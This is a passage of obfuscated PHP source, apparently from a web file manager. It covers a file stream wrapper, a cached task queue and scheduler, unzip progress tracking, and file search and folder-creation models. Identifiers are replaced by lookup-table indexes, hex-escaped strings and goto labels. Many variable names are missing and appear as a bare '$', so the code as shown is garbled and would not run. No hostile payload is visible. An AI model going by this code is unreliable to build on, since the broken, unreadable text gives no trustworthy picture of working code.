$this->pose >= $this->info[$_SERVER[ö][76]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($ٕ, $) { $LJ =& $_SERVER[ö]; $ = $this->info($ٕ); return array($LJ[1526] => 0, $LJ[1527] => 0, $LJ[16] => 32768 + 511, $LJ[1528] => 0, $LJ[1529] => 0, $LJ[1530] => 0, $LJ[1531] => 0, $LJ[76] => $[$LJ[76]], $LJ[1532] => $[$LJ[1400]], $LJ[1488] => $[$LJ[85]], $LJ[1487] => $[$LJ[200]], $LJ[1533] => 0, $LJ[1534] => 0); } static $fileInfo = array(); public function info($) { $Р = $_SERVER[ö][1535]; if (isset(self::$fileInfo[$])) { return self::$fileInfo[$]; } if (substr($, 0, strlen($Р)) != $Р) { return !1; } self::$fileInfo[$] = IO::info(substr($, strlen($Р))); return self::$fileInfo[$]; } public static function read($, $ې, $䜃) { if (!isset(self::$_fopenCache[$])) { $ = new StreamWrapperIO(); $->stream_open($); self::$_fopenCache[$] = $; } $ = self::$_fopenCache[$]; return $->fileSubstr($ې, $䜃); } public static function _read($Ӻ, $ە, $) { $ =& $_SERVER[ö]; $ = fopen($Ӻ, $[1404]); if (!$) { return $[12]; } $ӧ = 8192; fseek($, $ە, SEEK_SET); $ƭ = $[12]; $߷ = 0; while ($߷ < $) { $ = min($ӧ, $ - $߷); $ƭ .= fread($, $); $߷ += $; } fclose($); return $ƭ; } public function fileSubstr($澵, $) { $嘣 =& $_SERVER[ö]; $߳ݏ = $this->info[$嘣[76]]; $̫ = $澵; $ɝ = $; if ($澵 < 0) { $澵 = $߳ݏ + $澵; } if ($ === !1) { $ = $߳ݏ - $澵; } if ($澵 + $ > $߳ݏ) { $ = $߳ݏ - $澵; } if ($ <= 0) { return $嘣[12]; } if ($澵 < 0 || $澵 >= $߳ݏ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("\151\x6f\106\151\154\x65\x52\x65\x61\x64\40\x65\x72\x72\157\162\41\40\x73\164\x61\x72\x74\75{$澵}\x3b\154\145\x6e\147\164\150\x3d{$}\x3b\40\163\151\x7a\145\x3d{$߳ݏ}\x3b"); } $ = 64 * 1024; $ѕ =& self::$_chunkBuffer[$this->path]; if (!$ѕ) { $ѕ = array(); } $؏ = 0; $ز = 0; $ߖԕ = $嘣[12]; foreach ($ѕ as $؏ => $ߖԕ) { $؏ = intval($؏); $ز = $؏ + strlen($ߖԕ); if ($澵 >= $ز) { continue; } if ($澵 >= $؏ && $澵 + $ <= $ز) { return substr($ߖԕ, $澵 - $؏, $); } break; } if (count($ѕ) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($嘣[1536], $嘣[1537] . count($ѕ) . "\x3b\x73\x74\x61\x72\164\75{$澵}\x2c\154\x65\156\x67\164\x68\75{$}\73\x70\x6f\163\145\x3a{$؏}\x7e{$ز}"); throw new Exception($嘣[1538]); } $ш = intval($澵 / $) * $; $ۨ = ceil(($澵 + $) / $) * $ - $ш; $ = IO::fileSubstr($this->path, $ш, $ۨ); $ѕ[$ш . $嘣[12]] = $; ksort($ѕ); $؊ = substr($, $澵 - $ш, $); return $؊; } private function log($Ԡ, $) { $ =& $_SERVER[ö]; $ݢ݄ = timeFloat() - $this->timeStart; write_log(sprintf($[1539], $Ԡ, $this->info[$[32]], $ݢ݄, $), $[1197]); } } class Message { function __construct() { } public function send($ = '', $ = array(), $͔Ë = "\164\145\170\164") { $ŗ =& $_SERVER[ö]; $ = array($ŗ[33] => $ŗ[1540], $ŗ[761] => $); if (in_array($͔Ë, array($ŗ[1540], $ŗ[1541]))) { $[$ŗ[33]] = $͔Ë; } $ = array($ŗ[515] => isset($[$ŗ[515]]) ? $[$ŗ[515]] : $ŗ[12], $ŗ[600] => isset($[$ŗ[600]]) ? $[$ŗ[600]] : $ŗ[12]); if (empty($) || empty($[$ŗ[515]]) && empty($[$ŗ[600]])) { return !1; } $ = array($ŗ[1481] => $, $ŗ[1542] => $); Hook::trigger($ŗ[1543], $); } } goto A; c͝: class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\141\163\x6b\x51\x75\145\x75\145\x4c\145\x6e\147\x74\x68"; const QUEUE_DATA = "\x74\x61\163\153\121\165\145\165\145\104\141\164\x61"; public static $listData = false; public static function initTask() { } public static function add($־Ȏ, $£ = array(), $ӄ = '', $չ = '') { $ =& $_SERVER[ö]; if (self::$listData === !1) { self::$listData = self::getAll(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($չ && array_find_by_field(self::$listData, $[94], $չ)) { return !0; } self::$listData[] = array($[264] => $־Ȏ, $[1774] => $£, $[453] => $ӄ, $[94] => $չ); return !0; } public static function addSubmit() { $ =& $_SERVER[ö]; if (!self::$listData || count(self::$listData) == 0) { return; } write_log($[1775] . json_encode_force(array_to_keyvalue(self::$listData, $[12], $[453])), $[1776]); self::setAll(self::$listData); self::$listData = !1; } public static function addNow($, $ = array(), $ = '', $ܩ = '') { $㔻 =& $_SERVER[ö]; if (self::count() >= self::MAX_LENGTH) { return !1; } $܂ = self::getAll(); if ($ܩ && array_find_by_field($܂, $㔻[94], $ܩ)) { return !0; } $܂[] = array($㔻[264] => $, $㔻[1774] => $, $㔻[453] => $, $㔻[94] => $ܩ); write_log($㔻[1775] . $, $㔻[1776]); self::setAll($܂); return !0; } public static function run() { $ =& $_SERVER[ö]; $恵 = self::getAll(); $휘 = array_shift($恵); if (!$휘) { return !1; } self::setAll($恵); $͑ = timeFloat(); try { Hook::apply($휘[$[264]], $휘[$[1774]]); } catch (Exception $Ǣ) { } $ = number_format(timeFloat() - $͑, 3) . $[1692]; write_log($[1777] . $휘[$[453]] . $[1778] . $, $[1776]); return !0; } public static function count() { $Ϧ = Cache::get(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_LENGTH); if (!$Ϧ) { return 0; } return intval($Ϧ); } public static function getAll() { $œ = Cache::get(self::QUEUE_DATA); Cache::removeMemory(self::QUEUE_DATA); if (!$œ) { return array(); } return $œ; } public static function setAll($є) { $Ɉ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($є), $Ɉ); Cache::set(self::QUEUE_DATA, $є, $Ɉ); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($ș, $ɇ = 5.0) { if (!$ș) { return; } $ = Cache::get($ș); if (!$ || timeFloat() - floatVal($) >= $ɇ) { Cache::set($ș, timeFloat(), $ɇ * 10); return !0; } return !1; } public static function timeLimitCall($, $ܰԘ, $䮅, $ι¯ = 5.0) { $䮋 =& $_SERVER[ö]; if (!$ || !$ܰԘ) { return; } self::$asyncAdd = !0; $ = $䮋[1779]; $ɱ = Cache::get($, !0); $㍲ = array($䮋[1780] => timeFloat(), $䮋[1781] => timeFloat(), $䮋[264] => $ܰԘ, $䮋[1774] => $䮅, $䮋[203] => $ι¯); if (is_array($ɱ[$])) { $㍲[$䮋[1781]] = $ɱ[$][$䮋[1781]]; } if (is_array($ɱ[$])) { if (timeFloat() - $ɱ[$][$䮋[1780]] < $㍲[$䮋[203]] * 0.3) { return; } $㍲[$䮋[1781]] = $ɱ[$][$䮋[1781]]; } $ɱ[$] = $㍲; Cache::set($, $ɱ, 60); Cache::removeMemory($); write_log($䮋[1782] . $ . $䮋[71] . $ܰԘ, $䮋[1776]); } public static function timeLimitCallLoop() { $ =& $_SERVER[ö]; $ = array($[1783]); $Ă = in_array(strtolower(ACTION), $); if (!$Ă && !self::$asyncAdd) { return; } $Г = $[1779]; $ = Cache::get($Г, !0); if (!$ || count($) <= 0) { return; } $ = !1; $帜 = timeFloat(); $ۦ = array(); foreach ($ as $ => $މ) { if ($帜 - $މ[$[1781]] > $މ[$[203]]) { $ = !0; try { Hook::apply($މ[$[264]], $މ[$[1774]]); write_log($[1784] . $ . $[71] . $މ[$[264]] . $[1785] . ACTION, $[1776]); } catch (Exception $) { } continue; } $ۦ[$] = $މ; } if (!$) { return; } if (!$ۦ) { return Cache::remove($Г); } Cache::set($Г, $ۦ, 60); Cache::removeMemory($Г); } public static function finished($т, $) { $ =& $_SERVER[ö]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($[264] => $т, $[1774] => $); } private static function finishedRun() { $ =& $_SERVER[ö]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$[264]], $[$[1774]]); } catch (Exception $ӗ) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[ö]; parent::startAfter(); Hook::bind($[1786], array($this, $[1787])); Hook::bind($[1208], array($this, $[1788])); $ =& $this->task; $[$[1789]] = $[1209]; if (!$[$[1576]]) { $[$[1576]] = LNG($[1790]); } } protected function endAfter() { $ =& $_SERVER[ö]; parent::endAfter(); Hook::unbind($[1786], array($this, $[1787])); Hook::unbind($[1208], array($this, $[1788])); } public function updateAfter() { $ܝ =& $_SERVER[ö]; $㟗 =& $this->task; if (!$㟗[$ܝ[792]] || !$㟗[$ܝ[769]]) { return; } if ($㟗[$ܝ[1789]] == $ܝ[1209]) { $ = 0; if ($㟗[$ܝ[1729]]) { $ = $㟗[$ܝ[1730]] / $㟗[$ܝ[1729]]; } $㟗[$ܝ[1678]] = $ * 0.3; } else { if ($㟗[$ܝ[1789]] == $ܝ[313]) { $ = $㟗[$ܝ[1677]] / $㟗[$ܝ[792]]; $㟗[$ܝ[1678]] = 0.3 + $ * 0.4; } else { if ($㟗[$ܝ[1789]] == $ܝ[107]) { $ǹ = 0; if ($㟗[$ܝ[1731]] == $ܝ[107]) { $ǹ = $㟗[$ܝ[1730]]; } $ = ($㟗[$ܝ[1734]] + $ǹ) / $㟗[$ܝ[769]]; $㟗[$ܝ[1678]] = 0.3 + 0.4 + $ * 0.3; } } } if ($㟗[$ܝ[1678]] > 0) { $ԋ = timeFloat() - $㟗[$ܝ[1680]] - $㟗[$ܝ[1683]]; $㟗[$ܝ[1684]] = $ԋ * (1 - $㟗[$ܝ[1678]]) / $㟗[$ܝ[1678]]; } } public function addFile($쵦) { $Ϊ =& $_SERVER[ö]; $ϑ =& $this->task; $ؠ = IO::info($쵦); $ϑ[$Ϊ[1727]] = $ؠ[$Ϊ[32]]; $ϑ[$Ϊ[1729]] = $ؠ[$Ϊ[76]]; $ϑ[$Ϊ[1730]] = 0; $ϑ[$Ϊ[1078]] = $Ϊ[1750]; $ϑ[$Ϊ[1731]] = $Ϊ[1209]; $ϑ[$Ϊ[769]] = $ؠ[$Ϊ[76]]; $ϑ[$Ϊ[792]] = 1; $ꄩ = 0; $ϑ[$Ϊ[1738]] = array($Ϊ[1739] => $ꄩ + 1, $Ϊ[420] => $ؠ[$Ϊ[32]], $Ϊ[84] => $ؠ[$Ϊ[84]], $Ϊ[519] => $ؠ[$Ϊ[519]] ? $ؠ[$Ϊ[519]] : $ؠ[$Ϊ[84]]); $this->update(); } public function unzipAfter($۳݀) { $ =& $_SERVER[ö]; $ =& $this->task; $[$[1789]] = $[107]; $ԏ = IO::infoWithChildren($۳݀); $ط٘ = 0; $[$[1738]] = array($[1739] => $ط٘ + 1, $[420] => $ԏ[$[32]], $[84] => $ԏ[$[84]], $[519] => $ԏ[$[519]] ? $ԏ[$[519]] : $ԏ[$[84]]); if ($ԏ[$[33]] == $[199]) { $[$[792]] = 1; } else { $[$[792]] = $ԏ[$[79]][$[77]]; } $[$[1078]] = $[12]; $[$[1731]] = 0; $[$[1677]] = 0; $[$[1729]] = 0; $[$[1730]] = 0; $[$[1727]] = $[12]; $[$[1734]] = 0; $[$[769]] = $ԏ[$[76]]; $this->update(); self::log($[1791] . json_encode(array($, $ԏ))); } public function nameParse($އ챭) { $՝ =& $_SERVER[ö]; $ =& $this->task; if ($[$՝[1789]] == $՝[1209]) { $[$՝[1789]] = $՝[313]; $[$՝[1734]] = 0; $[$՝[769]] = 0; } $ = get_path_this($އ챭); if (strstr($, $՝[10])) { $[$՝[1677]] += 1; $[$՝[792]] += 1; } $[$՝[1727]] = $އ챭; $this->update(); } } goto b˰; cٜ: class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($Ԭ) { $碓 =& $_SERVER[ö]; $Ķ = KodIO::fileTypeList(); $ɞ = $Ķ[$Ԭ]; if (!$ɞ) { return array(); } $Ώ = $ɞ[$碓[174]]; $î = $碓[7]; if (!$ɞ[$碓[174]]) { $ = array_to_keyvalue($Ķ, $碓[12], $碓[174]); $Ώ = implode($碓[50], $); $î = $碓[2116]; } $ = explode($碓[50], trim($Ώ, $碓[50])); return array($î, $); } public function listPathType($㘏) { $ط =& $_SERVER[ö]; $ = $this->fileTypeWhere($㘏); if (!$) { return array(); } $ٕ = USER_ID; $ = Model($ط[535])->getInfo($ٕ); $ğ = array($ط[586] => SourceModel::TYPE_USER, $ط[521] => array($ط[550], $ط[531] . $[$ط[86]][$ط[402]] . $ط[551]), $ط[587] => $ٕ, $ط[583] => 0, $ط[584] => $); return $this->listSource($ğ); } public function listSearch($।, $菵 = 300) { $ׅ =& $_SERVER[ö]; if (isset($।[$ׅ[1959]]) && $।[$ׅ[1959]]) { $।[$ׅ[1959]] = str_replace($ׅ[384], $ׅ[2117], trim($।[$ׅ[1959]])); } $ؼ = $this->_parseSearchWhere($।); if (!isset($ؼ[$ׅ[431]])) { $ؼ[$ׅ[431]] = 0; } $ = $ׅ[2118]; $팪 = $ؼ; $鉿 = $; $this->_listSearchBindPinyin($।, $ؼ, $); $this->alias($ׅ[446])->_makeOrder(); $ؼ = $this->parseWhereLike($ؼ); $ = $this->distinct(!0)->field($)->where($ؼ)->selectPage($菵); if ($GLOBALS[$ׅ[6]][$ׅ[381]][$ׅ[382]] && Input::check($।[$ׅ[1959]], $ׅ[593]) && $[$ׅ[366]][$ׅ[353]] == 1 && $[$ׅ[366]][$ׅ[367]] == 0) { $ = $this->distinct(!0)->field($)->where($팪)->limit(1000)->select(); $ = array_page_split($, !1, $菵); } $this->_listSearchFileContent($, $।, $鉿, $팪); $this->_listSearchDesc($, $।, $鉿); $this->_listSearchTag($, $।, $鉿); $this->_listSearchGroupTag($, $।, $鉿); $this->_listDataApply($[$ׅ[369]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$, $, $, $¾) { $ =& $_SERVER[ö]; if (!$[$[1959]] || $[$[366]][$[353]] > 1) { return; } if (!isset($¾[$[32]]) || !is_array($[$[468]])) { return; } $¾[$[468]] = array($[7], $[$[468]]); unset($¾[$[32]]); unset($[$[468]]); $ = $this->field($)->where($¾)->limit($[2119])->select(); if (!$ || count($) == 0) { return; } $[$[369]] = array_merge($, $[$[369]]); $[$[366]][$[367]] += count($); } private function _listSearchTag(&$傄, $ߌ, $˔ɺ) { $랅 =& $_SERVER[ö]; if (!$ߌ[$랅[1959]] || $傄[$랅[366]][$랅[353]] > 1) { return; } $ɽ = Model($랅[2120])->listData(); $ω = array(); $ܞ = $ߌ[$랅[1959]]; foreach ($ɽ as $) { $ = $[$랅[32]]; $ = str_replace($랅[53], $랅[12], Pinyin::get($)); if (stripos($, $ܞ) !== !1 || stripos($, $ܞ) !== !1) { $ω[] = $[$랅[399]]; } } if (!$ω) { return; } $ = array($랅[426] => array($랅[7], $ω), $랅[1676] => USER_ID); $Ǭ = Model($랅[428])->field($랅[84])->where($)->select(); $Ǭ = array_to_keyvalue($Ǭ, $랅[12], $랅[84]); $Ȇ = array_unique($Ǭ); $this->_listSearchMerge($傄, $ߌ, $˔ɺ, $Ȇ); } private function _listSearchDesc(&$ȥ, $, $) { $Ρ =& $_SERVER[ö]; if (!$[$Ρ[1959]] || $ȥ[$Ρ[366]][$Ρ[353]] > 1) { return; } $Ž = array($Ρ[94] => $Ρ[453], $Ρ[374] => array($Ρ[383], $Ρ[1961] . $[$Ρ[1959]] . $Ρ[1961])); $ = !1; if ($) { $ץ = $this->listSearchChildren($[$Ρ[432]]); $ץ = array_unique($ץ); if (!$ץ) { return; } $Ž[$Ρ[402]] = array($Ρ[7], $ץ); } $χ܀ = Model($Ρ[569])->field($Ρ[402])->where($Ž)->limit(5000)->select(); $˔ = array_to_keyvalue($χ܀, $Ρ[12], $Ρ[402]); $this->_listSearchMerge($ȥ, $, $, $˔); } private function _listSearchGroupTag(&$Ɲ, $, $ܳ) { $ך =& $_SERVER[ö]; if (!$[$ך[1959]] || $Ɲ[$ך[366]][$ך[353]] > 1 || !$[$ך[432]]) { return; } $ˊ = $this->sourceInfo($[$ך[432]]); if (!$ˊ || $ˊ[$ך[411]] != SourceModel::TYPE_GROUP) { return; } $Əɒ = $ˊ[$ך[505]]; $ = Model($ך[2121])->get($Əɒ); $ = array(); $২ = $[$ך[1959]]; foreach ($[$ך[369]] as $ү) { $܀ = $ү[$ך[32]]; $˰ = str_replace($ך[53], $ך[12], Pinyin::get($܀)); if (stripos($܀, $২) !== !1 || stripos($˰, $২) !== !1) { $[] = $ү[$ך[399]]; } } if (!$) { return; } $ = array($ך[426] => array($ך[7], $), $ך[1676] => 0, $ך[33] => $ך[1981] . $Əɒ); $ = Model($ך[428])->field($ך[84])->where($)->select(); $ = array_to_keyvalue($, $ך[12], $ך[84]); $ = array_unique($); $this->_listSearchMerge($Ɲ, $, $ܳ, $); } private function _listSearchMerge(&$襶, $Ȑ, $, $) { $ =& $_SERVER[ö]; if (!$) { return; } $ӄ = array_to_keyvalue($襶[$[369]], $[12], $[402]); $մ = array_diff($, $ӄ); if (!$մ) { return; } $ܖ = array($[402] => array($[7], $մ)); $ = $this->field($)->where($ܖ)->select(); if (!$) { return; } $ڡ = array(); foreach ($ as $ͱ) { if ($this->_listSearchFilter($ͱ, $Ȑ)) { $ڡ[] = $ͱ; } } $襶[$[369]] = array_merge($ڡ, $襶[$[369]]); $襶[$[366]][$[367]] += count($ڡ); } private function _listSearchFilter($ӂú, $׆ӯ) { $ΐ =& $_SERVER[ö]; $燾ʴ = $ӂú[$ΐ[410]] == $ΐ[88]; if (!strstr($ӂú[$ΐ[521]], $ΐ[50] . $׆ӯ[$ΐ[432]] . $ΐ[50])) { return !1; } if (isset($׆ӯ[$ΐ[412]]) && $׆ӯ[$ΐ[412]] != $ΐ[1920]) { if ($׆ӯ[$ΐ[412]] == $ΐ[75] && !$燾ʴ) { return !1; } if ($׆ӯ[$ΐ[412]] != $ΐ[75] && $燾ʴ) { return !1; } if (!strstr($ӂú[$ΐ[174]], $ΐ[50] . $׆ӯ[$ΐ[412]] . $ΐ[50])) { return !1; } } if (isset($׆ӯ[$ΐ[2122]]) && $׆ӯ[$ΐ[2122]] < $ӂú[$ΐ[76]]) { return !1; } if (isset($׆ӯ[$ΐ[2123]]) && $׆ӯ[$ΐ[2123]] > $ӂú[$ΐ[76]]) { return !1; } if (isset($׆ӯ[$ΐ[600]]) && $׆ӯ[$ΐ[600]] != $ӂú[$ΐ[456]]) { return !1; } return !0; } public function listSearchChildren($߰, $ēϹ = 5000) { $Ώ =& $_SERVER[ö]; $薛 = array(); $Ƴ = $this->sourceInfo($߰); $ = array($Ώ[521] => array($Ώ[383], $Ƴ[$Ώ[521]] . $Ƴ[$Ώ[402]] . $Ώ[551])); $Ԥ = $this->field($Ώ[76])->where($)->limit($ēϹ + 1)->select(); $ = is_array($Ԥ) ? count($Ԥ) : 0; if ($ > $ēϹ) { return $this->_listSearchChildrenNear($߰, $ēϹ); } $ڊ = $this->field($Ώ[402])->where($)->select(); $薛 = array_to_keyvalue($ڊ, $Ώ[12], $Ώ[402]); return $薛; } private function _listSearchChildrenNear($, $և) { $ז =& $_SERVER[ö]; $۽ = array(); $ޯ = array($ז[432] => $); $д = $this->field($ז[2124])->where($ޯ)->select(); $Ԗ = array_to_keyvalue(array_filter_by_field($д, $ז[410], $ז[88]), $ז[12], $ז[402]); $۽ = array_merge($۽, array_to_keyvalue($д, $ז[12], $ז[402])); if (!$Ԗ) { return $۽; } $ޯ = array($ז[432] => array($ז[7], $Ԗ)); $д = $this->field($ז[2124])->where($ޯ)->limit($և)->select(); $۽ = array_merge($۽, array_to_keyvalue($д, $ז[12], $ז[402])); $۽ = array_slice($۽, 0, $և); return $۽; } private function _listSearchBindPinyin($߳, &$՜, &$쾙) { $ =& $_SERVER[ö]; if (!isset($߳[$[1959]]) || !$߳[$[1959]]) { return; } if (!Input::check($߳[$[1959]], $[318]) || strlen($߳[$[1959]]) < 2) { return; } $ = "\x4c\105\106\x54\40\112\117\x49\x4e\x20{$this->tablePrefix}\151\x6f\137\163\157\x75\162\x63\145\137\x6d\145\164\x61\x20\155\x65\164\x61\x20\157\x6e\40\x73\157\x75\x72\x63\x65\56\x73\157\x75\162\143\x65\x49\104\x20\75\x20\x6d\x65\x74\x61\x2e\163\157\x75\162\143\x65\111\x44"; $ = array(); $쾙 = str_replace(array($[231], $[53], $[2125]), $[12], $쾙); $쾙 = $[438] . str_replace($[50], $[439], $쾙); $î = $՜[$[32]]; unset($՜[$[32]]); foreach ($՜ as $ => $̧ܞ) { $[$[438] . $] = $̧ܞ; } foreach ($î as $) { $[] = array($[443] => $, $[1014] => $[1963], array($[2126] => $, $[2127] => array($[7], array($[465], $[464])))); } $this->join($); $՜ = $; } private function _parseSearchWhere($) { $ =& $_SERVER[ö]; $ل = array(); if (isset($[$[767]]) && $[$[767]]) { $ل[$[85]] = array($[2128], $[$[767]]); } if (isset($[$[497]]) && $[$[497]]) { $ = array($[2129], $[$[497]]); if ($ل[$[85]]) { $ل[$[85]] = array($ل[$[85]], $, $[2130]); } else { $ل[$[85]] = $; } } if (isset($[$[2122]]) && $[$[2122]] > 0) { $ل[$[76]] = array($[2128], $[$[2122]]); } if (isset($[$[2123]]) && $[$[2123]]) { $ = array($[2129], $[$[2123]]); if ($ل[$[76]]) { $ل[$[76]] = array($ل[$[76]], $, $[2130]); } else { $ل[$[76]] = $; } } if (isset($[$[600]]) && $[$[600]]) { $ل[] = array($[456] => $[$[600]], $[454] => $[$[600]], $[1014] => $[1963]); } if (isset($[$[412]]) && $[$[412]]) { $ = $[$[412]]; if ($ == $[75]) { $ل[$[410]] = 1; } else { if ($ == $[2131]) { $ل[$[410]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($[50], $); $ل[$[412]] = array($[418], $); $ل[$[410]] = 0; } } } } $this->_parseSearchParent($, $ل); if (isset($[$[1959]]) && trim($[$[1959]])) { $ = trim($[$[1959]]); $ = explode($[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $[118] && substr($, -1) == $[118]) || substr($, 0, 1) == $[58] && substr($, -1) == $[58]) { $ = substr($, 1, -1); $ = array($); } $ل[$[32]] = array(array($[550], $[1961] . $ . $[1961])); if (count($) > 1) { $ل[$[32]] = array(); foreach ($ as $ү) { if (!trim($ү)) { continue; } $ل[$[32]][] = array($[550], $[1961] . trim($ү) . $[1961]); } } } return $ل; } private function _parseSearchParent($ణ, &$) { $ =& $_SERVER[ö]; if (!isset($ణ[$[432]]) || !$ణ[$[432]]) { return; } $˙ = $this->pathInfo($ణ[$[432]]); $뤖 = $˙[$[432]] . $[12] === $[197]; $ٌ = $˙[$[411]] == $[515]; if ($˙[$[532]] == $[533]) { $۞ = $this->sourceInfo($ణ[$[432]]); $˙[$[521]] = $۞[$[521]]; } $[$[590]] = array($[550], $˙[$[521]] . $ణ[$[432]] . $[551]); $ = isset($ణ[$[1824]]) && in_array($[515], $ణ[$[1824]]); if (!$ || !$ٌ || !$뤖 || !$˙[$[413]]) { return; } if (!AuthModel::authCheckRoot($˙[$[413]][$[414]])) { return; } $Ҩ = $˙[$[505]] . $[12]; if ($Ҩ == $[88]) { unset($[$[590]]); $[$[411]] = self::TYPE_GROUP; return; } $ȱҖ = Model($[522])->groupChildrenAll($Ҩ); $ٹ = count($ȱҖ); if ($ٹ <= 1) { return; } $ = array($[432] => 0, $[411] => self::TYPE_GROUP, $[505] => array($[7], $ȱҖ)); $ = $this->field($[2132])->where($)->limit($ٹ)->select(); $[$[590]] = array(); foreach ($ as $ʘ) { $[$[590]][] = array($[550], $[531] . $ʘ[$[402]] . $[551]); } $[$[590]][] = $[1963]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($я) { $ù =& $_SERVER[ö]; $˗ӎ = Model($ù[513])->where(array($ù[1667] => $я))->find(); $嘴 = $this->_mkdirRoot(SourceModel::TYPE_USER, $я, $˗ӎ[$ù[32]]); $this->userDesktopAdd($嘴); return $嘴; } public function userDesktopAdd($) { $ԫ =& $_SERVER[ö]; $ = LNG($ԫ[2133]); $ = $this->mkdir($, $); $this->metaSet($, $ԫ[2134], $ԫ[88]); $this->metaSet($, $ԫ[2135], $); } public function userPathSafeAdd($۰) { $ =& $_SERVER[ö]; $è = Model($[513])->getInfoFull($۰); if (!$è) { return !1; } if (_get($è, $[536])) { return $è[$[466]][$[2136]]; } $̌ = $this->_mkdirRoot(SourceModel::TYPE_USER, $۰, $[2137], $[433]); Model($[513])->metaSet($۰, $[2136], $̌); $this->metaSet($̌, $[2138], $۰); return $̌; } public function groupRootAdd($) { $Å =& $_SERVER[ö]; $ = Model($Å[522])->where(array($Å[1953] => $))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $, $[$Å[32]]); } public function systemRootPathAdd($ĥ) { if ($ĥ != $_SERVER[ö][544]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $ĥ); } public function userRootRemove($ݪ) { $䡆 = $this->targetSourceRoot(SourceModel::TYPE_USER, $ݪ, !0); foreach ($䡆 as $嶏ӗ) { if (!$嶏ӗ) { continue; } $this->remove($嶏ӗ[$_SERVER[ö][402]], !1); } } public function groupRootRemove($Ŵƺ) { $Ⴧ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $Ŵƺ); if (!$Ⴧ) { return; } $this->remove($Ⴧ[$_SERVER[ö][402]], !1); } private function _mkdirRoot($Ї, $, $, $ա = '') { $ѡ =& $_SERVER[ö]; $Ŏ = array($ѡ[401] => 0, $ѡ[586] => $Ї, $ѡ[587] => $, $ѡ[583] => 1, $ѡ[588] => USER_ID, $ѡ[589] => USER_ID, $ѡ[584] => $ա, $ѡ[590] => $ѡ[531], $ѡ[430] => 0, $ѡ[585] => 0, $ѡ[469] => 0, $ѡ[591] => $ѡ[12]); if ($ = $this->where($Ŏ)->find()) { return $[$ѡ[402]]; } $ = "\115\x6f\144\x65\x6c\123\157\x75\162\143\x65\56\x6d\153\144\x69\162\x52\x6f\157\164\56{$Ї}\56{$}\x2e" . $; CacheLock::lock($); $Ŏ[$ѡ[32]] = $; $ю = $this->add($Ŏ); $ = array($ѡ[592] => short_id($ю)); $this->where(array($ѡ[417] => $ю))->save($); CacheLock::unlock($); return $ю; } private function targetSourceRoot($؇, $ѡ, $㦘 = false) { $ =& $_SERVER[ö]; $ݽ = array($[401] => 0, $[586] => $؇, $[587] => $ѡ); if ($㦘) { $ƨ = $this->where($ݽ)->select(); return $ƨ ? $ƨ : array(); } $䩄 = $this->where($ݽ)->find(); return $䩄 ? $䩄 : array(); } public function sourceRootGroup($) { $ =& $_SERVER[ö]; if (is_string($)) { $ = array($); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $, $[188]); $玬 = array($[369] => $, $[366] => array($[765] => count($))); $this->_listDataApply($玬[$[369]]); $this->_listMake($玬); return array_to_keyvalue($玬[$[82]], $[505]); } public function mkfile($Ѣφ, $Ґ, $ = '', $խ = REPEAT_RENAME) { $݈ =& $_SERVER[ö]; $ߢ = Model($݈[609])->addFileByContent($, $Ґ); return $this->_createFileCall($Ѣφ, $Ґ, $ߢ, $խ, $݈[1361]); } public function addFile($, $ئ, $Dz, $ = false, $ޢ = REPEAT_RENAME) { $Λ = Model($_SERVER[ö][609])->addFile($ئ, $Dz, $); return $this->_createFileCall($, $Dz, $Λ, $ޢ); } public function addFileByFileID($Ć, $, $֮, $Ѧ = REPEAT_RENAME) { $ =& $_SERVER[ö]; $ = Model($[609])->find($); Model($[609])->linkAdd($); return $this->_createFileCall($Ć, $֮, $, $Ѧ); } public function addFileByRemote($츴, $ٓ, $, $셗 = array(), $ = REPEAT_RENAME) { $ÿ = Model($_SERVER[ö][609])->addFileByRemote($ٓ, $, $셗); return $this->_createFileCall($츴, $, $ÿ, $); } private function _createFileCall($ۗ, $, $, $, $Χ = "\x75\160\154\x6f\141\144") { $ =& $_SERVER[ö]; $Δ = !1; $this->setMasterDB(); $this->lockWriteStart($ۗ, $); $̾ = $this->fileNameExist($ۗ, $); $ = $this->_createFile($ۗ, $, $, $, $Δ); if (!$Δ) { Model($[471])->remove($[$[468]]); } if ($Δ && $ && $ != $̾) { Model($[2106])->eventCreate($, $Χ); } $this->lockWriteEnd($ۗ, $); return $; } public function mkdir($Խ另, $ꑨ, $ = REPEAT_SKIP) { $Ꙕ =& $_SERVER[ö]; $this->setMasterDB(); $ = $this->sourceInfo($Խ另); if (!$) { return !1; } $this->lockWriteStart($Խ另, $ꑨ); if ($ !== !1) { $ = $this->fileNameExist($Խ另, $ꑨ); if ($ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($Խ另, $ꑨ); return $; } $ꑨ = $this->fileNameAuto($Խ另, $ꑨ, $); } $ = array($Ꙕ[583] => 1, $Ꙕ[420] => $ꑨ, $Ꙕ[584] => $Ꙕ[12], $Ꙕ[469] => 0, $Ꙕ[585] => 0); $ֱ = $this->_addSource($, $); Model($Ꙕ[2106])->eventCreate($ֱ, $Ꙕ[1362]); $this->lockWriteEnd($Խ另, $ꑨ); return $ֱ; } public function listSourceRoot($, $Ї, $괲 = 